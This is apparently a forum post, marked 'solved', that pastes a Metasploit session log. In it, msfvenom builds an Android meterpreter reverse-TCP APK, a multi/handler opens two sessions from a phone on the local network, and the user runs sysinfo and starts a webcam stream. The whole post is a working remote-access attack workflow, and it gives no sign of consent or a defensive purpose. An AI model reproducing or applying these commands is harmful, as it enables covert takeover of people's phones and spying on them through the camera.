solved.. I try to type : session -i 6
msf > ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.8.101 LPORT=4444 R > apkgue6666.apk
[*] exec: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.8.101 LPORT=4444 R > apkgue6666.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8812 bytes
msf > use exploit multi/handler
[-] Failed to load module: exploit
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.186.8.101
LHOST => 192.186.8.101
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Exploit running as background job 2.
[-] Handler failed to bind to 192.186.8.101:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
msf exploit(handler) > [*] Sending stage (69089 bytes) to 192.168.8.105
[*] Meterpreter session 5 opened (192.168.8.101:4444 -> 192.168.8.105:53588) at 2017-10-20 16:08:14 +0700
[*] Sending stage (69089 bytes) to 192.168.8.105
[*] Meterpreter session 6 opened (192.168.8.101:4444 -> 192.168.8.105:38842) at 2017-10-20 16:09:17 +0700
Interrupt: use the 'exit' command to quit
msf exploit(handler) > exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf exploit(handler) > sessions -i 1
[-] Invalid session identifier: 1
msf exploit(handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
5 meterpreter dalvik/android u0_a347 @ localhost 192.168.8.101:4444 -> 192.168.8.105:53588 (192.168.8.105)
6 meterpreter dalvik/android u0_a347 @ localhost 192.168.8.101:4444 -> 192.168.8.105:38842 (192.168.8.105)
msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...
meterpreter > sysinfo
Computer : localhost
OS : Android 6.0.1 - Linux 3.4.0-perf-gc14c2d5 (armv7l)
Meterpreter : dalvik/android
meterpreter > webcam_stream -i 2
[*] Starting...
[*] Preparing player...
[*] Opening player at: VLMpJIsx.html
[*] Streaming...